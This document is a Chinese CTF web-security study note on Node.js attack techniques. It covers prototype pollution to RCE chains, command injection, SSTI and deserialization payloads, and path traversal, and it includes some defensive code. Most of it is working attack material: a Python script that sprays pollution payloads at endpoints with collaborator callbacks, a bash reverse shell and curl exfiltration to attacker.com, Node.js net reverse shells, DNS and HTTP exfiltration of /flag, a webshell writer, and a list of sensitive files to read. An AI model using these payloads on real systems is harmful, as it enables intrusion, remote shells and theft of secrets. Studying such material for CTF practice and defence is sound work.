P14 Node.js 安全

2022-03-12 CTF-WEB 詹英

梳理 Node.js 安全相关的运行时特性、漏洞原理、原型链污染、模板注入、反序列化、VM 沙箱逃逸、WAF 绕过及 CTF 实战技巧。

一、Node.js 运行时特性

1.1 事件循环模型

Node.js 单线程事件循环:

  ┌─────────────────────────────────────────┐
  │            用户代码执行层                 │
  └───────────────────┬─────────────────────┘
                      │
  ┌───────────────────▼─────────────────────┐
  │           Event Loop(事件循环)          │
  │  timers → pending I/O → idle/prepare    │
  │  → poll → check → close callbacks       │
  └───────────────────┬─────────────────────┘
                      │
  ┌───────────────────▼─────────────────────┐
  │        libuv 线程池(阻塞操作)            │
  │     fs / crypto / dns / zlib 等          │
  └─────────────────────────────────────────┘

安全影响:
  ① 单线程 → CPU 密集操作(ReDoS / 死循环)会阻塞所有请求
  ② 动态类型语言 → 类型混淆、弱比较、原型链污染
  ③ eval / new Function → 字符串直接作为代码执行
  ④ 原型继承 → 污染 Object.prototype 影响所有对象
  ⑤ require() 缓存 → 模块劫持与投毒
  ⑥ 异步 I/O → TOCTOU 竞态条件

1.2 JavaScript 类型系统弱点

// ── 弱类型比较(== vs ===)──
'0'  == false   // true  ← 类型强制转换
''   == false   // true
null == undefined // true
[]   == false   // true
0    == '0'     // true

// ── typeof 检测绕过 ──
typeof null        // "object"(历史 Bug)
typeof []          // "object"(数组!)
typeof NaN         // "number"(NaN 是数字!)
Array.isArray([])  // true(正确检测数组)

// ── NaN 特殊性 ──
NaN === NaN        // false(唯一不等于自身的值)
isNaN('abc')       // true (字符串转 NaN)
Number.isNaN('abc')// false(只检测真正的 NaN,更安全)

// ── 隐式类型转换 ──
'5' - 3   // 2   (字符串转数字)
'5' + 3   // '53'(数字转字符串)
+[]       // 0
+{}       // NaN
+null     // 0
+undefined// NaN

// ── 认证绕过常见场景 ──
// 用 == 比较密码/token
req.body.token == 'secret'
// 攻击:token=0  (若 secret 以数字 0 开头,可能触发宽松比较)

// 数组参数绕过
req.body.username == 'admin'
// 攻击:username[]=admin(数组 ['admin'] == 'admin' → true)

//大小写特性,toUpperCase() 小写转大写函数。toLowerCase() 大写转小写函数。
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
//有两个奇特的字符"ı"、"ſ",用toUpperCase可以分别转为'I'和'S'
"K".toLowerCase() == 'k'
//K的加粗版,使用toLowerCase可以转为小写的k

1.3 代码执行类

// ══ 直接代码执行 ══

// eval():执行任意字符串代码
eval("require('child_process').execSync('id').toString()")

// new Function():全局作用域执行
const fn = new Function("return require('child_process').execSync('id').toString()")
fn()

// setTimeout / setInterval(字符串参数)
setTimeout("require('child_process').execSync('id')", 0)

// vm 模块(看似沙箱,实则可逃逸)
const vm = require('vm')
vm.runInThisContext("require('child_process').execSync('id').toString()")
vm.runInNewContext("this.constructor.constructor('return process')()", {})

// ══ 动态 require ══
require(userControlledPath)          // 加载任意模块
require('../../../etc/passwd')       // 路径穿越(报错但可探测)
require('./plugins/' + pluginName)   // 目录遍历

1.4 命令执行类

const { exec, execSync, execFile,
        spawn, spawnSync, fork } = require('child_process')

// ── exec / execSync:经过 Shell 解析(危险)──
exec(`ping -c 1 ${userInput}`, cb)          // 命令注入
const out = execSync(`nslookup ${userInput}`).toString()

// ── spawn:默认不经 Shell(shell:false 安全)──
spawn('ls', [userInput])                    // 安全
spawn(`ls ${userInput}`, {shell: true})     // 危险!shell:true 时同 exec

// ── execFile:执行文件,args 数组不经 Shell ──
execFile('/bin/ls', [userInput])            // 安全

// ── fork:创建 Node.js 子进程 ──
fork(userControlledModulePath)              // 危险!路径可控

// ── 间接执行 ──
const shell = require('shelljs')
shell.exec(`${userInput}`)                  // 危险

1.5 文件操作类

const fs   = require('fs')
const path = require('path')

// ── 危险:路径未净化直接读写 ──
fs.readFileSync(userInput)
fs.readFile(`/var/www/${userInput}`, cb)
fs.writeFileSync(userInput, content)         // 路径可控 → 写 WebShell

// ── 误区:path.join 不防路径穿越!──
path.join('/var/www', '../../../etc/passwd') // → '/etc/passwd'
path.resolve('/var/www', '../../../etc/passwd') // → '/etc/passwd'

// ── 正确防御 ──
const BASE   = path.resolve('/var/www/uploads')
const target = path.resolve(BASE, userInput)
if (!target.startsWith(BASE + path.sep)) {
    throw new Error('Path traversal detected')
}

1.6 网络请求类(SSRF)

const http  = require('http')
const https = require('https')
const axios = require('axios')
const fetch = require('node-fetch')

// ── 用户控制请求目标 → SSRF ──
const url = req.query.url
http.get(url, res => { ... })   // SSRF
axios.get(url)                   // SSRF
fetch(url)                       // SSRF

// ── 常见场景 ──

// 图片/资源代理
app.get('/proxy', (req, res) => {
    const url = req.query.url    // 用户控制
    http.get(url, proxyRes => proxyRes.pipe(res)) // SSRF
})

// Webhook 回调
app.post('/webhook', async (req, res) => {
    const { callback_url } = req.body
    await axios.post(callback_url, data)  // SSRF
})

// Puppeteer / Headless Browser
await page.goto(req.body.url)             // SSRF → 内网访问

二、原型链污染(Prototype Pollution)

2.1 原型链基础与污染原理

// 每个对象都通过 __proto__ 连接原型链
const obj = {}
obj.__proto__ === Object.prototype  // true

// 原型链属性查找
obj.toString       // obj 没有 → 查 Object.prototype → 找到!
obj.nonExistent    // 未找到 → undefined

// ══ 污染原理 ══
// 若代码允许向 __proto__ 写入属性
// 就会污染所有普通对象!

const a = {}
a.__proto__.isAdmin = true

const b = {}
b.isAdmin           // true ← 被污染!

;({}).isAdmin       // true (所有新建对象都受影响)

2.2 触发污染的代码模式

// ══ 模式一:递归 merge(最常见)══
function merge(target, source) {
    for (const key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {}
            merge(target[key], source[key])  // 递归
        } else {
            target[key] = source[key]       // key = '__proto__' → 污染!
        }
    }
    return target
}

// 攻击
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'))
// → Object.prototype.isAdmin = true
// → 所有对象 {}.isAdmin === true

// ══ 模式二:路径写入(lodash _.set 类)══
function set(obj, path, value) {
    const keys = path.split('.')
    let cur = obj
    for (let i = 0; i < keys.length - 1; i++) {
        if (!cur[keys[i]]) cur[keys[i]] = {}
        cur = cur[keys[i]]   // keys[i] = '__proto__' → 危险!
    }
    cur[keys[keys.length - 1]] = value
}

set({}, '__proto__.isAdmin', true)        // 污染
set({}, 'constructor.prototype.isAdmin', true) // 等价污染

// ══ 模式三:clone / assign ══
function deepClone(obj) {
    const result = {}
    for (const key in obj) {      // for..in 遍历原型属性!
        result[key] = typeof obj[key] === 'object'
            ? deepClone(obj[key]) : obj[key]  // 递归时 key 可为 __proto__
    }
    return result
}

// ══ 模式四:JSON 解析后直接 merge ══
const userConfig = JSON.parse(req.body)  // 用户控制的 JSON
merge(appConfig, userConfig)              // 触发污染

2.3 常见漏洞库与 CVE

库名 受影响版本 CVE 污染入口
lodash < 4.17.19 CVE-2020-8203 _.merge / _.set / _.zipObjectDeep
lodash < 4.17.15 CVE-2019-10744 _.defaultsDeep
jquery < 3.4.0 CVE-2019-11358 $.extend(true, ...)
hoek < 5.0.3 CVE-2018-3728 hoek.merge
ejs < 3.1.7 CVE-2022-29078 outputFunctionName 选项
handlebars < 4.7.7 CVE-2021-23369 compile + Prototype
set-value < 2.0.1 CVE-2019-10747 set(obj, path, val)
minimist < 1.2.6 CVE-2021-44906 参数解析
qs < 6.7.3 CVE-2022-24999 查询字符串解析
flat < 5.0.1 unflatten

2.4 利用链:污染 → RCE

利用链一:EJS 模板 outputFunctionName(CVE-2022-29078)

// 原理:EJS render 时从 options 读取 outputFunctionName
// 若 Object.prototype.outputFunctionName 被污染
// 则该字符串会被插入生成的 JS 代码中执行

// 第一步:触发污染(通过 merge 端点)
// POST /api/merge
// Content-Type: application/json
{
    "__proto__": {
        "outputFunctionName": "x; process.mainModule.require('child_process').execSync('id > /tmp/pwned'); //"
    }
}

// 第二步:任意触发 ejs.render()(即使模板内容无害)
// GET /any-page-that-renders-ejs
// → EJS 渲染时执行注入的代码 → RCE!

// 完整 PoC
const ejs = require('ejs')
// 模拟污染
Object.prototype.outputFunctionName =
    "x; require('child_process').execSync('cat /flag > /tmp/f'); //"
// 渲染任意模板时触发
ejs.render('<p>hello</p>', {})  // → RCE

利用链二:child_process shell 选项污染

// 原理:execSync 等函数接受 options 对象
// 若 Object.prototype.shell 被污染为恶意值
// 命令将通过该 shell 执行,注入恶意命令

Object.prototype.shell = 'bash'
Object.prototype.env = {
    BASH_ENV: '/tmp/evil.sh'    // Bash 启动时加载该文件
}
// 或
Object.prototype.shell =
    '/bin/bash -c "id>/tmp/p" #'  // 整个 shell 路径成为命令

const { execSync } = require('child_process')
execSync('ls', {})  // options 继承了污染的 shell → RCE

利用链三:NODE_OPTIONS 环境变量注入

// 污染 env 对象中的 NODE_OPTIONS
// 子进程启动时 NODE_OPTIONS 会被传递

Object.prototype.env = {
    ...process.env,
    NODE_OPTIONS: '--require /tmp/evil.js'
}
// 下一次 spawn/fork 子进程时加载 /tmp/evil.js → RCE

利用链四:Lodash template variable 选项

// CVE-2021-23337
// 污染 variable 选项 → Lodash template 代码注入

Object.prototype.variable =
    "x; process.mainModule.require('child_process').execSync('id'); //"

const _ = require('lodash')
_.template('hello')()  // → RCE

2.5 利用脚本

#!/usr/bin/env python3
"""
原型链污染利用脚本
支持多种污染路径与利用链自动测试
"""
import requests
import json

TARGET  = "http://target.com"
BURP_CB = "http://your-collaborator.burpcollaborator.net"

# ── 各类污染 Payload ──
PAYLOADS = [
    # 权限绕过
    {"__proto__": {"isAdmin": True}},
    {"__proto__": {"role": "admin"}},
    {"constructor": {"prototype": {"isAdmin": True}}},

    # EJS RCE(CVE-2022-29078)
    {"__proto__": {
        "outputFunctionName":
            f"x; require('child_process').execSync('curl {BURP_CB}/?p=ejs'); //"
    }},

    # Lodash template RCE(CVE-2021-23337)
    {"__proto__": {
        "variable":
            f"x; require('child_process').execSync('curl {BURP_CB}/?p=lodash'); //"
    }},

    # shell 选项 RCE
    {"__proto__": {
        "shell": f"/bin/bash -c 'curl {BURP_CB}/?p=shell' #"
    }},

    # NODE_OPTIONS 注入
    {"__proto__": {
        "env": {"NODE_OPTIONS": "--require /tmp/evil.js"}
    }},
]

def try_merge_endpoint(path: str, payload: dict):
    """尝试通过 merge 端点触发污染"""
    try:
        r = requests.post(
            TARGET + path,
            json=payload,
            timeout=8
        )
        return r.status_code, r.text[:200]
    except Exception as e:
        return 0, str(e)

# 测试常见 merge 端点
ENDPOINTS = [
    "/api/merge", "/api/update", "/api/config",
    "/user/update", "/settings/save", "/profile",
]

for endpoint in ENDPOINTS:
    for i, payload in enumerate(PAYLOADS):
        status, body = try_merge_endpoint(endpoint, payload)
        if status in (200, 201, 204):
            print(f"[+] 可能成功 {endpoint} Payload[{i}]")
            print(f"    状态: {status}  响应: {body[:80]}")

2.6 检测与 PoC 验证

// ── 检测是否污染成功 ──
function checkPolluted() {
    const props = ['isAdmin', 'role', 'outputFunctionName',
                   'shell', 'variable', 'NODE_OPTIONS']
    for (const p of props) {
        if (({}) [p] !== undefined) {
            console.warn(`[!] 原型被污染:Object.prototype.${p} = ${ ({}) [p]}`)
        }
    }
}

// ── 安全的 merge 实现 ──
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {        // Object.keys 不遍历原型链
        if (key === '__proto__'
         || key === 'constructor'
         || key === 'prototype') continue            // 跳过危险键

        if (Object.prototype.hasOwnProperty.call(source, key)
         && typeof source[key] === 'object'
         && source[key] !== null) {
            if (!Object.hasOwn(target, key)) target[key] = {}
            safeMerge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

// ── 彻底防护:冻结 Object.prototype ──
Object.freeze(Object.prototype)   // 任何对 Object.prototype 的写入都静默失败
Object.freeze(Object)

三、node.js注入

3.1 eval 注入

// ── 直接 eval 注入 ──
app.post('/calc', (req, res) => {
    const expr = req.body.expr
    res.json({ result: eval(expr) })   // 危险!
})

// ── 攻击 Payload ──
// 读取文件
require('fs').readFileSync('/etc/passwd').toString()
require('fs').readFileSync('/flag').toString()

// 执行命令
require('child_process').execSync('id').toString()

// 读取环境变量(含密钥)
JSON.stringify(process.env)

// 列目录
require('fs').readdirSync('/').join('\n')

// 写 WebShell
require('fs').writeFileSync('/var/www/html/shell.js',
    "require('http').createServer((req,res)=>{res.end(require('child_process').execSync(require('url').parse(req.url,true).query.cmd).toString())}).listen(8888)")

// ── 模板字符串二次注入 ──
app.get('/greet', (req, res) => {
    const name = req.query.name
    // 危险:模板字符串二次 eval
    res.send(eval(`\`Hello, ${name}!\``))
})
// 攻击:?name=${require('child_process').execSync('id')}
// 攻击:?name=${process.env.SECRET_KEY}

3.2 new Function 注入

// ── new Function 执行(全局作用域)──
app.post('/sandbox', (req, res) => {
    const code = req.body.code
    const fn = new Function('input', code)   // 危险!
    res.json({ result: fn(42) })
})

// ── 基础 Payload ──
return require('child_process').execSync('id').toString()
return require('fs').readFileSync('/flag').toString()
return JSON.stringify(process.env)

// ── 绕过关键字过滤 ──
// 过滤了 require / process 等关键字时

// 方法一:通过 global 全局对象
return global['process'].mainModule['require']('child_process').execSync('id').toString()

// 方法二:通过 constructor 链
return this.constructor.constructor('return process')()
          .mainModule.require('child_process').execSync('id').toString()

// 方法三:字符串拼接绕过关键字检测
const r = 'req' + 'uire'
return eval(r)('child_process').execSync('id').toString()

// 方法四:charCode 构造
return eval(String.fromCharCode(114,101,113,117,105,114,101))(
    'child_process').execSync('id').toString()
// String.fromCharCode(114,101,113,117,105,114,101) = 'require'

// 方法五:Base64 解码执行
return eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdpZCcp','base64').toString())
// base64 = require('child_process').execSync('id')

// 方法六:Proxy 包装绕过属性访问检测
const handler = { get: (t, p) => Reflect.get(t, p) }
const proc = new Proxy(process, handler)
return proc.mainModule.require('child_process').execSync('id').toString()

3.3 动态 require 路径注入

// ── 路径可控 ──
app.get('/plugin', (req, res) => {
    const name = req.query.name
    const mod  = require(`./plugins/${name}`)  // 危险!
    res.json(mod.run())
})

// ── 利用路径穿越读取敏感文件(以 JSON 形式)──
// ?name=../../package          → 泄露 package.json(版本、依赖)
// ?name=../../config/database  → 泄露数据库配置
// ?name=../../../proc/self/environ → 泄露环境变量

// ── 利用 node_modules 内已有模块构造利用链 ──
// ?name=../../node_modules/child_process  → 不行(内置模块)
// 但若应用目录可写,可以:
// 1. 上传 evil.js 到 uploads 目录
// 2. ?name=../../uploads/evil  → 加载恶意模块

3.4 exec / execSync 注入

const { execSync } = require('child_process')

// ── 漏洞代码 ──
app.get('/ping', (req, res) => {
    const host = req.query.host
    const result = execSync(`ping -c 1 ${host}`).toString()  // 危险!
    res.send(result)
})

// ── 利用 Payload ──
// 基础注入
?host=127.0.0.1;id
?host=127.0.0.1&&cat /etc/passwd
?host=127.0.0.1|id
?host=127.0.0.1||id
?host=127.0.0.1`id`
?host=127.0.0.1$(id)
?host=127.0.0.1%0aid          // 换行符

// 读取 flag
?host=127.0.0.1;cat /flag
?host=127.0.0.1;cat${IFS}/flag  // 空格过滤绕过

// 反弹 Shell
?host=127.0.0.1;bash -i >%26 /dev/tcp/attacker.com/4444 0>%261

// 外带数据(无回显时)
?host=127.0.0.1;curl http://attacker.com/?d=$(cat /flag|base64)
?host=127.0.0.1;curl http://`cat /flag | base64`.attacker.com/

3.5 spawn shell:true 注入

const { spawn } = require('child_process')

// ── 危险:shell:true 时等同于 exec ──
app.post('/exec', (req, res) => {
    const { cmd, args } = req.body
    const proc = spawn(cmd, args, { shell: true })  // 危险!
    let out = ''
    proc.stdout.on('data', d => out += d)
    proc.on('close', () => res.send(out))
})

// 攻击:args 中注入 shell 元字符
// { "cmd": "ls", "args": ["/ && cat /flag"] }
// 因 shell:true → args 经 shell 解析 → 命令注入

// ── 安全用法(不使用 shell:true)──
spawn('/bin/ls', ['-la', userInput], { shell: false })  // 安全

3.6 Node.js 原生反弹 Shell

// ── 方法一:net 模块(最稳定)──
(function(){
    const net = require('net')
    const cp  = require('child_process')
    const sh  = cp.spawn('/bin/sh', [])
    const c   = new net.Socket()
    c.connect(4444, 'attacker.com', () => {
        c.pipe(sh.stdin)
        sh.stdout.pipe(c)
        sh.stderr.pipe(c)
    })
    sh.on('close', () => c.destroy())
})()

// ── 方法二:一行精简版 ──
require('net').createConnection(4444,'attacker.com').on('connect',function(){const s=require('child_process').spawn('/bin/sh',[]);this.pipe(s.stdin);s.stdout.pipe(this);s.stderr.pipe(this)})

// ── 方法三:无 shell(绕过 disable_functions 类场景)──
// 直接通过 Node.js 读取文件,不调用系统命令
require('fs').readFileSync('/flag').toString()
require('fs').readdirSync('/').toString()

// ── 方法四:DNS 外带(绕过 HTTP 出站过滤)──
const dns  = require('dns')
const flag = require('fs').readFileSync('/flag').toString().trim()
// 分段外带(DNS 标签 63 字符限制)
const b64  = Buffer.from(flag).toString('base64').replace(/\+/g,'_').replace(/\//g,'-')
for (let i = 0; i < b64.length; i += 50) {
    setTimeout(() => {
        dns.resolve(`${i}.${b64.slice(i, i+50)}.x.attacker.com`, () => {})
    }, i * 200)
}

// ── 方法五:HTTP 外带 ──
const http = require('http')
const data = encodeURIComponent(require('fs').readFileSync('/flag').toString())
http.get(`http://attacker.com/?flag=${data}`)

四、模板引擎注入(SSTI)

4.1 EJS 注入

const ejs = require('ejs')

// ── 漏洞模式一:模板字符串可控 ──
app.get('/render', (req, res) => {
    const tpl = req.query.tpl     // 用户控制模板内容
    res.send(ejs.render(tpl, {})) // 危险!
})

// 攻击 Payload
// tpl = <%= require('child_process').execSync('id') %>
// tpl = <% global.process.mainModule.require('child_process').exec('bash -i>&/dev/tcp/attacker/4444 0>&1') %>

// ── 漏洞模式二:变量名可控 + 原始输出 ──
app.get('/page', (req, res) => {
    res.render('template', { [req.query.key]: req.query.val }) // key 可控时危险
})
// EJS 模板中若有 <%- key %> 语法(原始输出)→ XSS/SSTI

// ── EJS 模板语法速查 ──
// <%= expr %>  → HTML 转义输出(相对安全)
// <%- expr %>  → 原始 HTML 输出(XSS 风险)
// <% code %>   → 执行 JS 代码(RCE 风险)
// <%# ... %>   → 注释

// ── 原型链污染 → EJS RCE(CVE-2022-29078)──
// 见第四章利用链一

4.2 Pug(Jade)注入

const pug = require('pug')

// ── 漏洞:模板内容拼接用户输入 ──
app.get('/page', (req, res) => {
    const title = req.query.title
    const template = `
h1 ${title}
p Welcome to the site
    `
    res.send(pug.render(template))  // 危险!
})

// ── Pug 注入 Payload ──
// 注入 Pug 语法(换行符非常关键)

// 注入执行代码(- 开头的行执行 JS)
title = "\n- var x = require('child_process')\n= x.execSync('id').toString()"

// 注入读取文件
title = "\n- var f = require('fs').readFileSync('/flag').toString()\n= f"

// 完整 URL 参数
// ?title=%0a-%20var%20x%20%3d%20require('child_process')%0a%3d%20x.execSync('id').toString()

// ── Pug 语法速查 ──
// #{expr}  → HTML 转义输出
// !{expr}  → 原始输出(XSS 风险)
// - code   → 执行 JS 代码(RCE 风险!)
// = expr   → 转义输出
// != expr  → 原始输出

4.3 Handlebars 注入

const Handlebars = require('handlebars')

// ── 漏洞:动态编译用户提供的模板 ──
app.get('/render', (req, res) => {
    const tpl = req.query.tpl           // 用户控制
    const fn  = Handlebars.compile(tpl) // 危险!
    res.send(fn({ user: req.user }))
})

// ── Handlebars SSTI Payload ──
// {{constructor.constructor "return process.mainModule.require('child_process').execSync('id').toString()"}}

// 使用 with 和 lookup 辅助函数(旧版本)
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id').toString()"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

4.4 Nunjucks 注入

const nunjucks = require('nunjucks')

// ── 漏洞:renderString 使用用户输入 ──
app.post('/render', (req, res) => {
    const result = nunjucks.renderString(req.body.template, {}) // 危险!
    res.send(result)
})

// ── Nunjucks Payload ──
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")() }}

// 通过 cycler / joiner 等内置函数访问 constructor
{{ cycler.__init__.__globals__.os.popen("id").read() }}   // Python SSTI 思路
// Nunjucks 中:
{{ "".__proto__.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString() }}

4.5 各模板引擎 Payload 速查

══ EJS ══
直接执行:
  <%= require('child_process').execSync('id') %>
  <% global.process.mainModule.require('child_process').exec('id') %>

原型链污染(CVE-2022-29078):
  {"__proto__":{"outputFunctionName":"x;require('child_process').execSync('cat /flag');//"}}

══ Pug ══
  \n- var x=require('child_process')\n= x.execSync('id').toString()

══ Handlebars ══
  {{constructor.constructor "return require('child_process').execSync('id').toString()"}}

══ Nunjucks ══
  {{ range.constructor("return require('child_process').execSync('id').toString()")() }}

══ Lodash template ══
  <%= global.process.mainModule.require('child_process').execSync('id') %>
  污染:{"__proto__":{"variable":"x;require('child_process').execSync('id');//"}}

══ doT ══
  {{= global.process.mainModule.require('child_process').execSync('id') }}

══ Mustache ══
  本身无代码执行,但可结合 XSS 或原型链污染利用

五、反序列化漏洞

5.1 node-serialize 反序列化 RCE

const serialize = require('node-serialize')

// ── 漏洞代码 ──
app.post('/profile', (req, res) => {
    const data = Buffer.from(req.cookies.profile, 'base64').toString()
    const user  = serialize.unserialize(data)  // 危险!
    res.json(user)
})

// ── 序列化格式说明 ──
// 带函数的序列化格式(关键标记:_$$ND_FUNC$$_)
// {"key":"_$$ND_FUNC$$_function(){return 1;}"}
// 反序列化时将还原为 Function 对象,但不自动执行

// ── IIFE 触发执行 ──
// 在函数末尾加 () → 立即调用函数表达式(IIFE)
// {"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}
//                                                                           ^^
//                                                         末尾 () 使函数立即执行!

// ── 生成攻击 Payload ──
const serialize = require('node-serialize')

// 构造包含 IIFE 的序列化对象
function genPayload(cmd) {
    const raw = serialize.serialize({
        rce: function() { require('child_process').execSync(cmd) }
    })
    // 在函数体结束 } 前插入 ()
    return raw.replace(
        /("rce":"_\$\$ND_FUNC\$\$_function\(\)\{[^}]+\})/,
        '$1()'
    )
}

const b64 = Buffer.from(genPayload('cat /flag')).toString('base64')
console.log(`Cookie: profile=${b64}`)

// ── 手动构造 Payload ──
const manualPayload = JSON.stringify({
    "rce": "_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/?f='+require('fs').readFileSync('/flag').toString())}()"
})
const b64manual = Buffer.from(manualPayload).toString('base64')

5.2 js-yaml 反序列化

const yaml = require('js-yaml')

// ── 危险:旧版本 yaml.load 默认 FULL_SCHEMA ──
app.post('/config', (req, res) => {
    const config = yaml.load(req.body.yaml)   // js-yaml < 4.0.0 危险!
    res.json(config)
})

// ── YAML 注入 Payload(js-yaml < 4.0.0)──
// 使用 !!js/function 类型
const payload1 = `
!!js/function >
  function(){
    return require('child_process').execSync('id').toString()
  }()
`

// 使用 !!js/eval
const payload2 = `
eval: !!js/eval "require('child_process').execSync('id').toString()"
`

// ── 版本检查 ──
// js-yaml >= 4.0.0:默认 CORE_SCHEMA,不支持 !!js/*,安全
// js-yaml < 4.0.0:默认 FULL_SCHEMA,支持 !!js/*,危险!

// ── 安全做法 ──
yaml.load(input)   // js-yaml 4.x 默认安全
// 更严格:
yaml.load(input, { schema: yaml.FAILSAFE_SCHEMA })

5.3 JSON.parse 相关攻击

// ── JSON 原型污染 ──
// JSON.parse 本身不会触发原型链污染(__proto__ 作为键名不影响原型)
// 但若 parse 结果传入 merge 函数 → 触发污染
const obj = JSON.parse('{"__proto__":{"isAdmin":true}}')
// obj.__proto__ 仍然是 Object.prototype(JSON.parse 是安全的)
// 但 obj 有一个名为 "__proto__" 的自有属性!
// → 传入 merge(target, obj) → 污染!

// ── __proto__ 作为键名的特殊行为 ──
const a = {}
a['__proto__'] = { polluted: true }   // 直接赋值 → 污染!
// vs
Object.defineProperty(a, '__proto__', { value: {}, writable: true })  // 定义属性
// 两种方式行为不同

// ── JSON.parse 后的原型检查 ──
function safeParseJSON(str) {
    const obj = JSON.parse(str)
    if (typeof obj === 'object' && obj !== null) {
        // 检查是否含危险键
        if ('__proto__' in obj || 'constructor' in obj) {
            throw new Error('Prototype pollution detected in JSON')
        }
    }
    return obj
}

六、路径穿越与任意文件读取

6.1 常见漏洞模式

const path = require('path')
const fs   = require('fs')

// ── 直接拼接(最危险)──
app.get('/file', (req, res) => {
    const name = req.query.name
    res.send(fs.readFileSync('/var/www/uploads/' + name)) // 危险!
})
// ?name=../../../etc/passwd → 读取系统文件

// ── path.join 不防穿越 ──
app.get('/file', (req, res) => {
    const name = req.query.name
    const fp   = path.join('/var/www/uploads', name)    // 仍危险!
    res.sendFile(fp)
})
// path.join('/var/www/uploads', '../../../etc/passwd') → '/etc/passwd'

// ── 路径穿越变体 ──
// URL 编码(express 自动解码)
?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

// 双重 URL 编码(若有二次解码)
?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd

// Unicode 编码
?name=%c0%ae%c0%ae%2fetc%2fpasswd

// 绕过 ../ 过滤(替换过滤但不循环)
?name=....//....//....//etc/passwd   // 过滤一次 ../ 后变成 ../

// 绝对路径(某些场景)
?name=/etc/passwd
?name=/flag

6.2 值得读取的敏感文件

# ── Linux 系统文件 ──
/etc/passwd            # 用户列表
/etc/shadow            # 密码哈希(需 root)
/etc/hosts             # 内网主机映射
/proc/self/environ     # 当前进程环境变量(含密钥)
/proc/self/cmdline     # 当前进程启动命令
/proc/self/fd/0-9      # 文件描述符
/proc/self/maps        # 内存映射(泄露地址)
/proc/net/tcp          # 内网开放端口(十六进制)

# ── Node.js 应用文件 ──
/proc/self/environ     # 环境变量:DATABASE_URL / SECRET_KEY 等
package.json           # 依赖版本 → 查 CVE
.env                   # 环境变量配置文件
config/database.js     # 数据库配置
config/secrets.js      # 密钥配置
app.js / index.js      # 应用源码
server.js              # 服务器入口

# ── 常见路径穿越 Payload(CTF)──
../../../../flag
../../../../flag.txt
../../../../proc/self/environ
../../../../proc/self/fd/10

6.3 express.static 与 sendFile 漏洞

// ── dotfiles 配置不当 ──
app.use('/uploads', express.static('./uploads', {
    dotfiles: 'allow'  // 危险!允许访问 . 开头的文件
}))
// 攻击:GET /uploads/.env → 泄露环境变量
// 攻击:GET /uploads/.git/config → Git 配置

// ── sendFile root 选项不当 ──
app.get('/download', (req, res) => {
    const file = req.query.file
    res.sendFile(file, { root: __dirname })
    // file = '../../../etc/passwd' → 路径穿越
})

// ── 正确防御 ──
app.get('/download', (req, res) => {
    const file  = req.query.file
    const BASE  = path.resolve(__dirname, 'uploads')
    const target = path.resolve(BASE, file)

    if (!target.startsWith(BASE + path.sep)) {
        return res.status(403).send('Forbidden')
    }
    res.sendFile(target)
})

七、Express 框架安全

7.1 路由与中间件漏洞

// ── 中间件缺少 return 导致绕过 ──
app.use((req, res, next) => {
    if (req.path.startsWith('/admin')) {
        if (!req.session.isAdmin) {
            res.status(403).send('Forbidden')
            // 危险!忘记 return → 继续执行 next()
        }
    }
    next()
})

// 正确写法
app.use((req, res, next) => {
    if (req.path.startsWith('/admin')) {
        if (!req.session.isAdmin) {
            return res.status(403).send('Forbidden')  // ← return 很关键!
        }
    }
    next()
})

// ── 路由大小写 / 尾斜杠绕过 ──
app.get('/admin', adminMiddleware, handler)
// 攻击:GET /Admin  (某些配置大小写不敏感)
// 攻击:GET /admin/ (尾斜杠可能绕过某些中间件)
// 攻击:GET /admin%0a(换行符)

// ── 请求体类型混淆 ──
app.post('/login', (req, res) => {
    const { username } = req.body
    // 危险:username 可能是数组或对象
    if (username === 'admin') { ... }  // 数组不等于字符串(但 == 比较可绕过)
})
// 攻击:{"username": ["admin"]}
// ["admin"] === "admin" → false(安全)
// ["admin"] == "admin"  → true(危险!)

7.2 常见配置问题

// ── CORS 配置错误 ──
app.use(cors({
    origin: (origin, cb) => cb(null, true),  // 危险!反射 Origin
    credentials: true                         // + credentials → CORS 漏洞
}))
// 攻击者可以从任意域发起跨域带凭据请求

// ── 安全 CORS 配置 ──
const allowedOrigins = ['https://app.example.com']
app.use(cors({
    origin: (origin, cb) => {
        if (!origin || allowedOrigins.includes(origin)) cb(null, true)
        else cb(new Error('Not allowed by CORS'))
    },
    credentials: true
}))

// ── 缺少安全响应头 ──
// 危险:没有 helmet
app.get('/page', (req, res) => res.send('<html>...</html>'))
// 缺少 X-Frame-Options / X-Content-Type-Options / CSP 等

// ── 使用 helmet ──
const helmet = require('helmet')
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc:  ["'self'"]
        }
    }
}))
app.disable('x-powered-by')  // 不暴露 Express 版本信息

// ── body 大小限制 ──
// 危险:limit 过大 → DDoS
app.use(express.json({ limit: '50mb' }))
// 安全:合理限制
app.use(express.json({ limit: '100kb' }))

// ── Session 配置问题 ──
// 危险:弱密钥 + 登录后不重新生成 Session
app.use(session({ secret: 'secret' }))
app.post('/login', (req, res) => {
    req.session.user = user  // 没有 regenerate → Session 固定

    // 正确做法
    req.session.regenerate(err => {
        req.session.user = user
        res.json({ ok: true })
    })
})

7.3 文件上传漏洞

const multer = require('multer')

// ── 危险:不验证文件类型 / 不随机化文件名 ──
const upload = multer({ dest: '/tmp/' })
app.post('/upload', upload.single('file'), (req, res) => {
    // 危险:使用 originalname → 路径穿越 + 任意扩展名
    const dest = path.join('./public', req.file.originalname)
    fs.renameSync(req.file.path, dest)
    // originalname = "../../app.js" → 覆盖源码!
